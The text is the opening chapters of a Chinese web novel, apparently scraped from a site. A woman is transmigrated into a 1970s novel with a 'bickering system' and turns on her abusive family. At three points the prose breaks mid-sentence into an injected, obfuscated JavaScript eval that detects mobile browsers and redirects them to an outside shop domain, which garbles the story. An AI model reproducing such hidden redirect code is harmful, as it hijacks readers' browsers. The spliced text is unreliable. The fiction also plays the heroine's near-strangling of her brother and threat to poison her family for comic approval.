《七零穿书文艺杠精》 1. 第1章天灵灵地灵灵我就是杠精 你知道让一个杠铃忍住不杠有多难吗?宋知南知道。 你知道当一个杠铃得到一个杠精系统后会发生什么吗?此时的宋知南也想知道。 宋知南躺在只有一米宽的木板床上,一翻身床板嘎嘎作响,此时的她双目微闭,陷入了浅浅的思索中。 经常穿越的人都知道,她穿越了。穿到1970年,跟着她一起来的还有一个杠精系统。 想到系统,宋知南微微叹了一口气,组织这是不让我退休呀。她整治了三个老板后,辞职做自媒体博主,因为口无遮拦,净说些大实话,一不小心火了。 人红是非多,再加上她说了一些母道话,很多公网友破防了。那帮人组团来攻击她,她熬夜跟人对线,因为战况太激烈,气病了几个患有高血压和心脏病的中老年男人,险些闹出人命,事情闹大,她被帽子姐姐温和耐心地教育了一番:“网络不是法外之地,你以后说话要注意。” 宋知南心里委屈,明明是他们先网暴我的,有病你就直说啊,她一定会让他们先吃药。爷爷跟她说话前,她都会提醒老人家先吃一粒速效救心丸。 癞、□□攻击人类,还不让人还嘴,世界真是索然无味。宋知南决定不杠了,她的人延迟退休,但嘴可以早退。 宋知南说退就退,就连她爸说“专家说早上不能空腹吃喝,更不能吃垃圾食品”,她都能忍住不杠。 她甚至破天荒地附和道:“爸你说得对,专家也说得对,你们男人的嘴就像那恒河的水。——那这个汉堡和煎蛋都归我了,你不能空腹吃早餐。” 宋爸小小的眼睛里充满了大大的疑惑,总觉得哪里不对,但又说不出来不对的地方。 吃完早饭,宋知南打开奶奶留给她的屠龙之书:《湖南老爷爷选集》。 国内发展不顺,某类人全身都是雷点,一踩就炸,开不起玩笑,限制又太多,教人活泼不起来。 她打算出海,先去非洲看看。听说那里可以大展手脚,某个前辈竟然可以一边上班一边给某部落当军师,且屡战屡胜。宋知南觉得她上她也行,她可是读过《孙子兵法》的女人。去之前再武装武装思想,说不定能混个酋长当当。 宋知南没想到她刚武装了一部分了思想,就来到了这里。 她穿到了一本名叫《绿茶美人在七零的幸福生活》的书里,她是十八线女配,是女主的对照组之一。 女主是团宠又茶又萌,被全家宠上天;她是团坑,被全家坑到底。 女主与男主甜蜜恋爱,幸福一生;她初嫁渣男,再嫁鸡贼男,下场凄惨。 宋知南蹙着眉头,努力回忆着书中的剧情,看书一目十行的不良后果出现了,她只记得这文的整体感觉和部分情节,再细一些的东西全不记得。估计遇到剧情触发会想起来一些。 罢了,不记得就不记得,先顾好眼下再说吧。她现在是什么个情况来着? 原身跟她同名也叫宋知南,上有两姐一哥,下有一弟。大姐宋知春,二姐宋知夏,哥哥宋秋实,弟弟宋冬宝。她之所以叫宋知南,是因为父母觉得家里女儿太多了,多子多福指的是儿子,不包括女儿。于是就给她取名宋知难,寓意为知难而退,让女孩别再来宋家投胎了。上户口时,工作人员觉得名字的寓意不好,就改为宋知南。 大姐宋知春已经嫁人了,婆家在城南的郊区。二姐宋知夏也有了对象,且对象家庭条件不错,以后能帮到娘家,加上她性格圆滑,嘴甜会哄人,宋爸宋妈对她虽不宠爱但还算凑和。至于宋秋实,人家是宋家长子,自然倍受重视。宋冬宝更不必说,也是父母的眼珠子心尖子。只有宋知南,夹在中间,从小倍受忽视。而且她性子倔强,遇事喜欢硬刚,更不得全家喜欢。活是她干,气是她受,好处一点没落着。 宋知南:这可不行。人不能惯,越惯越混蛋;人也不能让,越让越嚣张。这宋家早该整治了。 宋知南正想着该从哪里入手整治宋家,就听见咯吱一声,客厅的门被推开了。 她打着哈欠,推开嘎吱作响的房门看看是谁,进来的人是宋爸宋上进。 宋上进四十来岁,一张方方正正的国字脸,两道浓眉几乎连在一起,看着脾气就不好。 宋上进一看到宋知南竟然睡到现在才起,心里的邪火立即窜了上来,张口就骂:“都几点了还在睡觉?懒死你算了。我怎么那么倒霉,生了你这么个废物,连个工作都找不到,让你下乡还闹着不去,就知道作死,有本事你就真死了算了。” 宋知南想都没想,张口还击:“哎哟,你还倒霉?倒霉的是我好吗?我被你们两个废物生出来,吃不好穿不好,受气的总是我。别人的爸爸有本事,一毕业就给安排好工作,你呢?自己没本事不知道反省就知道怪我,好意思吗?我要是你早一头撞死了,活着都觉得丢人。” 她话音刚落,就听见脑海中响起一个欠欠的声音:天灵灵地灵灵我就是杠精,本统恭喜你开启异世第一杠,杠精值加1点,已激活系统,发放新手大礼包100立方静止空间,一次种植空间开启机会。 宋知南心中惊喜,抬杠竟然还能有收益?专业对口还赶上了风口,这谁能挡得住?至于以前说的让嘴退休的事,立即更改政策,必须延迟退休。 宋知南刚高兴了一会儿,对面的宋上进先是怔了一下,便开始发飙,他气得额头青筋暴露,拳头都硬了,想要揍人。 宋知南一看事情不好,扭身进屋,从笸箩里抓起一把剪刀冲出来喊道:“想动手是不是?来来,你出拳头我出剪刀,看谁能赢。谁不让我好活,我就让谁不得好死。” 宋上进愣住了,他盯着宋知南看了半响,用难以置信地语气说道:“你反了天了,敢捅你老子?” 宋知南冷声道:“哪里有压迫哪里就有反抗,我有革命正义护体,不惧一切牛鬼蛇神。你这是封建家长作风,破四旧破的就有你。你再敢嚣张,我去外面贴大字报举报你反、革、命。” 宋上进听到这话吓得脸色一白,他警惕地望望外面,还好现在是上班时间,家属院里没什么人。饶是如此,他也吓得心砰砰直跳,赶紧飞快地关上房门,说话语气都变温和了:“小南啊,你这孩子气性咋这么大呢?爸说你几句,还不都是为了你好。咱可不能学外面那些红小兵。” 宋知南嗤之以鼻:“我想捅你也是为了你好,给你放放血更健康;我举报你也是为了你好,让你思想更进步,跟得上时代的脚步。” 宋上进无言以对。 他真想一巴掌扇死这个不肖女,但他现在不能。 宋上进拿出一副慈父的口吻,语重心长地说:“小南,咱们是一家人,家里要是有个好歹,你也跟着受牵连。” 宋知南盯着宋上进的眼睛说:“我听别人说,我不是你们亲生的,所以你们才对我不好。既然不是亲生的,那我有什么好在乎的?你们进去了,我就跟你们划清界限呗。” 宋上进连声否认:“瞎说八道,你听谁说的?你肯定是我们亲生的,你要不是亲生的,我们养你干啥?自个生的都养不过来去养你一个丫头片子?” “算了,我是回来拿东西的,还得去上班呢。别闹了,来,爸给你一块钱。” 宋上进略有些讨好地摸出一块钱放在桌上,回屋拿了东西就离开了,临走时,他不放心地叮嘱宋知南:“小南,听爸的话,气性别那么大,别胡闹,——你要是困就再睡会儿。” 宋上进关上门离开了。 宋知南把桌上的一块钱收起来装进口袋里,原主一个十五岁的大姑娘,手上连一分零花钱都没有,可哥哥弟弟却有。上次,大姐回娘家给了她1块钱,最后却被弟弟宋冬宝抢走了,她气得跟宋冬宝干了一架,却被爸妈联合起来打骂镇压。 最可气的是,现在的政策规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565005|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定,多子女家庭未婚无业的只有一个能留在城里,二姐宋知夏不想下乡,火速谈了一个貌丑但家境不错的对象,偷偷领了证,宋知夏婚事定了自然不用下乡。宋冬宝还在学校混着没有毕业也不用下乡,大哥宋秋实已经高中毕业,但他也不想下乡。名额自然落在了最不受宠的宋知南身上。宋知南当然也不想下乡,她还想上高中,家里坚决不同意。激烈抗争无果,原主郁结于心,生了一场病,宋知南就是这时候穿来的。 现在的宋知南也不愿下乡,几十年后的农村都不适合女孩呆,何况是现在。那是一个赤果果的丛林社会,女性是农村的最底层。她们这些没有亲人在身边的外来女孩更是本地流氓地痞眼中的猎物。她不想去,但总得有人去,那就让宋秋实去吧,男孩子嘛,就得多锻炼锻炼,才能当一个独立男孩。 好像他们家还没有报名,宋知南决定帮大哥一把,自家兄妹能帮的就帮。 她进了父母屋里找户口本,看抽屉里还有些零钱,就顺便拿了几块钱揣兜里,拿自己家的钱能叫偷吗?弟弟拿得,她怎么就拿不得? 说起弟弟,她想起这厮抢自己的钱,于是便进了哥哥和弟弟合住的房间,翻箱倒柜一通找,最后找到了一块多的零钱和二斤粮票,宋知南全部拿走。 宋秋实的书架上的高中课本竟是九成新,她也顺手搬回自己屋。宋知夏也是高中毕业,但她的书毕业之后全卖了,她想看也没有。 宋知南拿着户口本出了门,循着记忆中的地图去街道办事处。 到了街道办事处,不用她问就看到了知青办门口那十分显眼的红色横幅:“广阔天地,大有作为;农村城市一盘棋,人民战士学人民。” 知青办的办公桌搬到了外面,那里正围着一群人。 宋知南挤不进去,在外面大声说:“同志,我要报名下乡。” 她这么一喊,就听见办公室里面有个女同志高声应道:“报名的到屋里来,大家别堵在门口,让人家报名的进来。” 众人闻言缓缓挪出一条小道来,宋知南斜着身子挤进去,房间里有两个工作人员,一男一女,男的是个二十来岁的小伙,女的三十来岁,一头干练的短发。 女同志正在低头摆弄表格,抬头打量了宋知南一眼,问道:“同志,你要报名下乡?” 宋知南掏出户口本:“是的,我替我哥报名,他叫宋秋实,十八岁,今年高中毕业,他满腔热血,一心想到祖国最需要他的地方去奉献青春。” 工作人员不疑有他,现在的热血青年还有不少,有的家长拦都拦不住。 她问了一句:“他本人怎么没来?” 宋知南也不确定是不是可以替别人报名,她稍稍思索了一下,便说道:“我哥本来打算自己来的,半路被同学叫走了,他同学也要下乡,大家以后天南地北的,不知道什么时候才能见面,我哥想趁着还没走多跟同学聚聚,非要让我过来替他报名。同志,这要是不符合规定就算了,等改天让他自己来也行。” 她做出一副不甚在意的模样,让报就报,不让报我就走。 工作人员见她这个态度,反倒是放心了。要是宋知南急吼吼地非要报名,他们反而会起疑心。 宋知南作势要走,短发女同志立即叫住她:“你先别走,替自己的家人报名是没问题的,你过来登记一下。”本来动员人下乡有点麻烦,好容易有人主动来报名,那当然不能放过,虽然说上面的规定是尽量让本人来报名,但人家有事,亲妹妹来帮忙报名也不是不可以通融。 宋知南飞快地填上表格,还特意附注一句想去黑省北大荒奉献青春。那里可是未来的大粮仓,正需要哥哥这样的人去建设。 填完表格,她顺便问道:“同志,咱们这一批知青什么时候出发?” “三天后的早上七点半,到时会通知你们的。” “好的。” 2. 第2章会揍人的女孩真的很加分 宋知南报完名出来,一路溜达闲逛,东瞧瞧西看看。这个时代的城市建设朴实无华,头顶是瓦蓝的天空,四周是灰扑扑的建筑,交通工具主要是自行车,流行色是蓝色灰色和军绿色。路上的行人穿的很朴素,身材都很苗条,头发都很浓密。 宋家所在的地方处在几家厂子的交汇处,前面是国棉厂,宋上进就在国棉厂上班。左边是纺织厂是妈妈李玉华工作的地方。右边是食品厂。医院、学校见缝插针地分布在几家工厂中间。家属区是一个个的方块,有筒子楼,也有平房。道路两边是供销社、商店、菜店、副食店,俨然一个封闭的小社会。 宋知南一边溜达一边思考以后的出路,这个时代就那么几条出路:当兵进厂和下乡。她得想办法弄个工作,国棉厂也行,纺织厂也可以,弄到工作再想办法搬到宿舍住,之后想办法把户口迁出来,到时候就可以脱离宋家了。在这之前,她还得在宋家苟着,不过苟归苟,想让她吃亏受气是不可能的。她的字典里没有这四个字。 宋知南溜达了一会儿饿了,看到路边有家国营饭店,毫不犹豫地走了进去,要了一碗豆浆和两根油条。豆浆有豆子味,油条又脆又香,宋知南吃得一脸满足。 她吃饱喝足抹抹嘴刚要起身离开,就看到二姐宋知夏和一个丑得奇形怪状的男人一起进来。 此男又矮又瘦,脸又扁又平,像乒乓球拍似的,那双眼睛像是用筷子随意戳两个洞似的。 宋知南用同情的目光看着自家二姐,这是做出了多大的牺牲呀。 宋知夏看到宋知南,不由得一脸惊讶,他们家孩子多,生活不容易,父母手紧,很少给她们姐妹零花钱,三妹怎么有钱和粮票下馆子了?难道是爸妈为了补偿她偷偷塞给她钱和票了? 宋知夏正要试探一番,就听她的对象陈安华瓮声瓮气地问道:“知夏,这是你妹妹?” 宋知夏的脸上立即堆满笑容,脆声回答:“是呢,是我三妹知南。知南,这是你……陈哥。”本来应该叫姐夫,不过他们只领了证,还没办酒席,宋知夏总觉得还不够正式。 宋知南微微冲陈安华点点头,算是打了个招呼。 “你们吃饭吧,我回家去了。” 宋知夏还没没开口,陈安华却热情地招呼她:“三妹,你别走,跟我们一起再吃点。” 陈安华见宋知南长得还不错,就生出旁的心思,想把她介绍给自己表弟,毕竟他表弟长得不咋地,名声也不好,家境相当的女孩看不上他,只能往下找,与其便宜别人家,还不如便宜自己的小姨子。陈安华觉得自个儿真是个负责的好姐夫。 宋知夏听陈安华提到过给他表弟介绍对象的事,这会儿见他这般热情,瞬间明白了他的打算。转念一想,陈安华表弟虽然长得丑了点,但家境也不差,三妹要是找了他,说不定就不用下乡了。 宋知夏其实心里头也不想让妹妹下乡,虽然两人总是争执吵嘴,但毕竟是亲姐妹,多少还是有点感情在的。当然,她肯定做不出牺牲自己成全别人这么伟大的事,任何情况下,她都得先顾好自己。 当她知道他们家只有一个孩子能留城时,她敏锐地意识到下乡的要么是她要么是三妹,还有可能是两人一起下乡。反正无论如何,爸妈绝对不舍得让自己的宝贝儿子去乡下吃苦,哪怕大家都说男孩下乡比女孩更方便,至少安全,但爸妈是听不进去的。 为了把自己摘出来,她牺牲了自己的婚姻,火速地找上了陈安华。要按她的标准,她是瞧不上陈安华的。她本来打算等工作以后,再慢慢挑选一门好亲事。因为婚结得太匆忙,他们连酒席也没来得及办,陈家的婚房还没准备好,她只能先住在娘家。 宋知夏默契地配合着陈安华:“是啊知南,你也留下来再吃点,吃完饭,我带你去逛逛。” 宋知南摇头拒绝:“我已经吃过了,再见。”说罢,她转身就走。 这个姐夫不但人丑,心思还不正,没必要多接触。 陈安华没料到宋知南这么干脆,心有不甘地“哎”了两声。 宋知南头也不回地离开了。 陈安华脸上讪讪的,阴阳怪气地说:“看不出来,你妹妹倒挺傲气。” 宋知夏脸上挂着讨好的笑容:“她那不是傲气,是害羞。我妹这人从小性子就闷,也不会说话。” “看出来了。” 宋知南快步离开国营饭店,回家休息片刻,就开始倒腾自己的空间。100立方米,挺宽敞的空间,可惜里面空荡荡的。她得囤点东西在里面。钱是没有的,物资也匮乏,就从家里开始吧。 宋知南先去父母的房间寻宝,有爸爸的人都知道,爸爸一般爱藏私房钱,鞋盒里、墙缝里、书页里都有可能藏钱。就算私房钱被找出来,他们也是有苦难言。 宋知南耐心仔细的一点点翻找,果不其然,她在《资本论》里找到了一张五块的,在《湖南爷爷选集》里找到十块钱,在一本没了封皮的旧书里找到六元。古人说得对,书中自有黄金屋。宋知南对今天的战果很满意,搜刮完宋上进的私房钱,她又开始到厨房寻宝,把米面每样装出一点放在空间里。 宋知南像小仓鼠似的一点点往自己的空间里囤东西,突然听见外面有说话声。 是二姐回来了,还带着别人。 宋知南赶紧把东西恢复原样,拿起扫帚假装扫地。 宋知夏带着陈安华和一个陌生男人进了屋。这个男人也丑,还是跟陈安华不一个风格的丑:又矮又黑又胖,乌漆嘛黑的,看着像只铁墩子。 宋知夏热情地招呼两人:“安华,卫国,你们快进来。——知南,你赶紧给客人倒水去。” 宋知南听到卫国这个名字,心中一个激灵,这个人不是原来的宋知南二嫁的那个鸡贼男刘卫国吗? 宋知南像躲狗屎一样赶紧避开此人,她放下扫把:“我回屋了,你们聊。” 她刚要回屋,那个铁墩子刘卫国却用贱贱的语气说道:“表哥,这就是你说的长得不错的小姨子?看着也就那样吧,皮肤不够白,不太水灵,性子还不好。” 宋知南气笑了,是谁给他的勇气,上她家里当面评判她的外貌? 如果这都能忍,她还是个人吗?她是忍者神龟! 宋知南一个猛回头,把此人上上下下打量一通,用鄙夷的语气说道:“这位同志,评价一个人不能只看她的外表,也得看看自己的外表。你家没有镜子也该有尿吧,你都不照照自己吗?你又矮又胖又黑,说你是矮冬瓜那都是侮辱冬瓜,毕竟冬瓜比你白。长成这样还敢出来吓人,你可真勇敢。” 杠精系统:耶耶,宿主终于又开杠了,杠精值加1。 刘卫国没想到宋知南的嘴这么厉害,他以前也喜欢当面评判女孩子的长相,那些女孩通常是气得脸蛋通红,扭身离开,很少有人敢这样跟他当面对喷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565006|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋知南再接再厉:“你瞧你那眼睛长得跟瞎子拿筷子随便在黑面馒头上乱戳得似的,嘴唇厚得切吧切吧得有两盘子,就你这样的,狗吃你都得就蒜,老鼠吃你都得加醋,因为实在入不了口。” 三人目瞪口呆,集体语塞。 陈安华愣了一会儿,说话都不利落了,“那什么,三妹,你这性子,也太厉害了,以后谁敢娶你。” 宋知南冷笑一声:“哎哟歪,要是男人都像你俩这样又丑又嘴贱,我得跪谢你们的不娶之恩。你们赶紧滚吧,别污染了我们家的空气。” 杠精系统:杠精值加1。 宋知南说着又重新拿起了扫把,那架式是想要动手。 宋知夏一脸严肃地呵斥宋知南:“知南,你今天是怎么了?来的都是贵客,你怎么能这么说话?都怪我们大家把你惯坏了。” 宋知南指着宋知夏掷地有声地说道:“宋知夏,你自私自利只为自己着想我不管,你为了不下乡找丑男下口我也不管,但你不可以把主意打到我头上,不可以拿我来做人情。你要是喜欢丑东西,可以把这俩垃圾都回收了,别来烦我,我不收垃圾!” 系统:杠精值加1。 宋知夏又气又羞,窘得满脸通红。 她冷笑一声:“好好,你真是我的好妹妹。” 陈安华赶紧安慰她,宋知夏眼看着妹妹已经癫了,也不敢在家多停留,便领着两人狼狈离开了。 刘卫国临走前,回过头阴恻恻地对宋知南说了一句:“宋知南是吧,我记住你了,你等着。” 宋知南嗤之以鼻:“刘卫国,阎王爷也记住你了,你等着哦。” 三人悻悻离开,宋知南打开系统面板,系统商城开放了,上面的商品琳琅满目,米面粮油酱醋茶衣服布料化妆品,应有尽有。甚至还有冷热武器、大力丸和化尸粉。 她共有4个杠精值,激活新手大礼包花了一个,还剩三个,大概能买三十斤米面或是两盒化妆品,米面她现在可以吃家里的,化妆品没必要,她现在需要武器和大力丸。领袖说过,要野蛮其身体,文明其精神,她的精神已经够文明,必须得有野蛮的身体与之相匹配。 那些傻叉愿意讲道理,她就用嘴;不用讲道理,她就用拳头跟对方交流。 宋知南挑挑拣拣,先选了两样武器:经过特殊改造的自行车链,可以装在书包里,看起来很常见,打起人来贼疼。另一样是一截钢筋,长度刚刚好,是居家旅行必备防身武器。 两样武器花了一个杠精值,剩下两个杠精值,宋知南买了大力丸,系统面板有药效说明,药效会逐步发挥作用,她的力气会在原来的基础上一点点增长,为了能让药效充分发挥,她需要补充大量营养,肉蛋奶吃得越多越好。 药丸一拿到手,宋知南就毫不犹豫地用温水吞服下去。随后,她奔到厨房开火做饭,肉是没有的,只有五个鸡蛋,宋知南给自己摊了个葱花鸡蛋,夹在馒头里面,干了三个馒头。 吃饱喝足,有点犯困,宋知南插上门,倒头便睡。一觉醒来,天都快黑了。 她的房门被拍得震天响,“宋知南,你给我出来,你有本事干坏事,没本事出来是吧?” 拍门的是她那个混蛋弟弟宋冬宝。 宋知南慢慢地起床,咔嚓咔嚓活动几下手指,吃完大力丸后,她觉得自己强得可怕,正好找个人练练手。这个宋冬宝来得正是时候。 3. 第3章杠精值爆发 宋知南缓缓拉开房门,满脸怒容的宋冬宝单手叉腰站在门前,他大概十三四岁,长得又高又壮。他正值变声期,说话像公鸭一样难听。 宋冬宝瞪着眼兴师问罪:“宋知南,你说,我的钱是不是你偷的?” 宋知南淡然答道:“姐姐拿弟弟的钱怎么能叫偷呢?要照你这么说,你抢我的钱是不是得叫抢劫呀?” 宋冬宝气结,但还是嘴硬地反击道:“那不一样。你不告而取就是偷。” 宋知南废话不多说,抬起手,照着宋冬宝的左脸就是一个大耳光。 宋冬宝被打懵了,捂着脸,愣愣地说道:“你打我?你竟然敢打我?” 宋知南再次抬手,动作潇洒流畅,照着右脸啪地又是一个大比兜,她这人有轻微强迫症,打人也得左右对称。 宋知南笑得很嚣张:“对啊,就是打你呀。” 两个耳光终于让宋冬宝认请了现实,他嗷地一声叫着冲进来要跟宋知南拼命。 宋知南抬腿给了他一脚,这一脚力气很大,宋冬宝被踹得蹬蹬后退几步,疼得龇牙咧嘴的。 宋知南抢步上前,一把拽起宋冬宝的衣领,狠狠地掼在地上,抬起右脚像踢足球似的,砰砰连踢十几脚。 宋冬宝疼得在地上直打滚。 宋知南顺手找到一根麻绳,左三圈右三圈把宋东宝捆得像粽子似的。 捆完还不过瘾,举起拳头噼里啪啦又是一通揍。 宋知南一边揍一边问:“以后还敢抢我的东西吗?” “呜呜,你给我等着——” “以后还敢不尊重我吗?” “我呸——” 宋冬宝起初嘴很硬,态度很嚣张,但宋知南最不怕的就是嘴硬的,多打打总会服软的,这事她有经验。 宋知南打累了,活动活动手指,直接上手掐住宋冬宝的脖子,跟他玩窒息游戏。 宋知南越掐越紧,宋冬宝目露惊恐,他的呼吸越来越艰难,险些窒息。 他瞪着宋知南,姐姐是不是疯了? 宋知南双手掐着宋冬宝的脖子,嘴里喃喃自语:“既然在家也是吃苦受气,还不如弄死几个我讨厌的人去坐牢算了。也不对,我的年龄还不够坐牢呢,而且你是我亲弟弟,杀了也白杀,再说,谁能证明人是我杀的?” 她的眼里有一种平静的疯狂,甚至还面带微笑。宋冬宝看着她这魔鬼般的微笑,心头涌上一丝前所未有的恐惧和慌乱。 他用祈求的眼神看着宋知南,断断续续地叫道:“姐、姐。” 宋知南面带笑容地问道:“冬宝,你知道错了吗?” 宋冬宝面色红胀,艰难地吐出三个字:“我、错、了。” “好,非常好。” 宋知南猛地松开手,宋冬宝大口大口地呼吸着空气,用力干咳了几声。突然嚎啕大哭起来:“三姐,我是你亲弟弟啊。咱们虽然打打闹闹,可你不能真杀了我啊。姐,我错了我错了,我以后再也不敢跟你作对了。” 宋知南温和地说道:“俗话说,男儿有泪不轻弹。你哭哭啼啼像个什么样子。” 宋冬宝哭得更厉害了,越哭越委屈,他都要没命了,还不让人哭,敢情快被掐死的人不是他,这句话是哪个老王八犊子发明的? 宋冬宝丝滑地继续认错:“姐,我以后再也不敢胡闹了,再不抢你钱了。你饶了我吧。” “真心认错?” “绝对真心。” 宋知南笑得很温和,宋冬宝却觉得有点渗人,她慢慢说道:“我是个大度的人,更是个好姐姐,行了,我饶了你。” 说到这里,她突然语气严肃地吩咐道:“把你身上所有的钱和票都给我。” “啊?——哦好,都给你。” 宋知南拽过宋冬宝的帆布书包,把里面的钱和粮票全部拿走。 “以后家务都是你做。” 宋冬宝摇头:“我、我不会。” 宋知南淡声说道:“不会就学呗,我难道生下来就会做?再说了,我以前会打人吗?你看我不都学会了?” 宋冬宝心中一悸,飞快地答应:“好的,我学我学。” 宋冬宝心中纠结着一会儿爸妈大哥回来了,他该怎么告状。 就听见宋知南问道:“一会儿爸妈回来了,你知道该怎么说吗?” 宋冬宝吓了一跳,赶紧回答:“我知道,我知道。” 宋知南仿佛看穿了他的心思,语气平和地说:“你心里是不是想着等爸妈回来就偷偷告状?实话告诉你,我连爸妈都不怕,你告了状也没用,我私底下有的是时间对付你。要是爸妈大哥打我,我也已经下定了决心,既然我怎样妥协都过不上好日子,那索性咱们大家一起完蛋。我先弄死你,再用耗子药药死全家,咱们一家人齐齐整整的上路多好。” 宋冬宝吓得背后发凉,他这个三姐到底是怎么了?为什么突然变得这么疯狂可怕。要是以前三姐这么说,他肯定不信。但是现在,他好像真不敢赌,在她掐住自己脖子的那一刻,他第一次感受到了死亡的气息。 宋知南算着时间,爸妈快下班了。 她把宋冬宝身上的麻绳解开,温和亲切地说:“冬宝,你去把晚饭做了。” 宋冬宝刚要下意识地说不会,随即想到她的拳头,连忙把话咽了回去,不会就学。 宋冬宝乖乖地到厨房去做饭,宋家的厨房是在屋外搭的棚子,相当简陋。院子里的其他邻居也是这么搭建的。此时正值晚饭时分,下班的外出的陆陆续续都回来了,家属院里特别热闹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565007|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邻居们看到宋冬宝在做晚饭,自然是一脸稀奇。 其中东屋的赵大娘发现了宋冬宝脸上的异样,就关切地问:“冬宝,你的脸怎么了?你又跟人打架了?” 宋冬宝恐惧地看了屋里一眼,急忙说:“没啥没啥,不小心撞到树了。” 赵大娘意味深长地哦了一声。 西屋的王大爷问:“冬宝,今天太阳打西边出来了,你咋做起饭了?” 宋冬宝笑得比哭还难看:“我、我喜欢做饭,想做个试试。” 王大爷不赞同地啧了两声:“男子汉大丈夫,喜欢啥不好,喜欢做饭,多没出息呀。” 正好宋知南出来监工,王大爷就对宋知南说:“知南,你咋能让冬宝做饭呢?” 宋知南十分瞧不上王大爷这种大男子主义的行为,脑袋一昂,大声反问:“怎么?你们男人不吃饭?你们吃得比谁都多,做个饭咋地了?” 王大爷:“……” 他没想到自己只是随口一问,宋知南就这么呛人。 其他人看两人呛呛起来了,也都笑嘻嘻地凑过来看热闹。 王大爷被晚辈呛了,觉得面子上很过不去,立即拿起长辈的款来,语重心长地说道:“知南啊,不是我说你,女孩子家家的,说话要温柔和气,我是为了你好。你让你弟做饭本来就不对,俗话说得好,男做女活越做越穷。” 邻居中有人点头称是,确实是这么个理儿。 宋知南可不会惯着任何人,她飞快地反问:“男做女活越做越穷?王大爷,你一辈子没做过女活,为啥还一直穷呢?你爷爷,你爷爷的爷爷也没做过女活,为啥你家上数十八代都穷呢?” 王大爷一时接不上话来。 众人面面相觑,谁也接不上话来。 杠精系统:杠精值加1。 大家愣了一会儿,开始慢慢反应过来,围着宋知南七嘴八舌地说教起来。 “小南,你咋说话这么冲呢?你这态度不行啊。” 大伙说一句,宋知南杠一句。 “怎么?说不过我就说我态度不行,你这人心眼太小了,小心活不长。” “小南,你这么对长辈说话不对。” 宋知南:“你们有长辈的样子吗?爱管闲事,脑子还不清醒,不知从哪儿扒拉来一句过时无用的话就敢往外说,这几十年都活到哪里去了?活到狗身上了?你们扪心自问,都不觉得惭愧吗?一把年纪了一点事不懂,咋好意思教训年轻人的?” 杠精系统不停地播报:杠精值加1,杠精值加1,加1…… 宋知南一人舌战众人,心态平和,愈战愈勇,完全处于上风。大家越说越群情激动,有的脸红脖子粗,有的心脏砰砰乱跳,就在这时,有人喊道:“老宋两口子回来了。” 4. 第4章杠翻全家 宋上进和李玉华正跟一帮邻居说说笑笑地往家走,一进院就被大家伙围住告状:“上进,你赶紧管管你家老四吧。这孩子不知怎么了,大家说啥她杠啥,就跟吃了枪药似的,这样的女孩子以后可咋办哟。” 王大爷出声附和:“是啊是啊,她在家却非让冬宝进厨房做饭,我就说了两句,她就不爱听了。还说什么我家祖宗十八代都穷。” …… 宋上进一听三女儿又作妖了,不禁心头一梗。 李玉华想都没想,张口就骂:“知南,你个死妮子给我滚出来,老娘天天在外辛苦工作,就养出你这么个招灾惹事的废物!” 宋知南站在门口大声回道:“哟,你在外辛苦工作都能赖到我头上?你不生我就不辛苦工作了?你不生我就能当衣来伸手饭来伸手的地主婆了?你养的孩子只有我一个吗?你那废物大儿混蛋小儿子你咋不说?他们吃得比我多,花得比我多,你咋不骂?你偏心都偏到咯吱窝了,也不好好反省反省。” 杠精系统:杠精值加1。 李玉华没想到三女儿突然变得这么伶牙俐齿,以前她也会顶嘴,但没像今天顶得这么顺畅,顿时气不打一处来。 李玉华气得胸口疼,撸起袖子就往里头冲:“我今天不撕烂你的嘴我就不姓李。” 跟李玉华一起回来的邻居魏芬一把拉住李玉华,好声劝道:“嫂子,你别冲动,知南这么大姑娘了可不能再像小时候那样随便打了。” 魏芬性格老实为人厚道,跟宋家关系不错,以前宋家老大宋知春在娘家时跟她玩得很好,平常魏芬也时不时地会替宋知南说几句好话。 李玉华被人劝住,气稍稍消了些,但终究觉得面子过不去,指着宋知南威胁道:“你给我等着,回家我再跟你算帐。” 其他邻居还在一旁煽风点火,魏芬劝道:“大家都少说两句,别再火上浇油了,赶紧都回家做饭吧。”这些人都是看热闹不嫌事大。 有了魏芬带头,另外几个好心的邻居也帮着一起劝,把宋上进和李玉华硬推进屋里,“都累了一天了,赶紧回家歇着吧,想开点,谁家的孩子不顶嘴。” 宋上进因为上午的那一次冲突,心里头发憷,倒是没敢当面打骂宋知南,便借坡下驴地进了屋。 他怕宋知南当众说出不该说的话来,赶紧把人推进屋里,关上房门,一家人有啥话得关上门说。 随后,宋知夏和宋秋实也从外面回来了。宋冬宝趁机跑出厨房,缩在爸爸和哥哥中间,怯怯地看着宋知南。 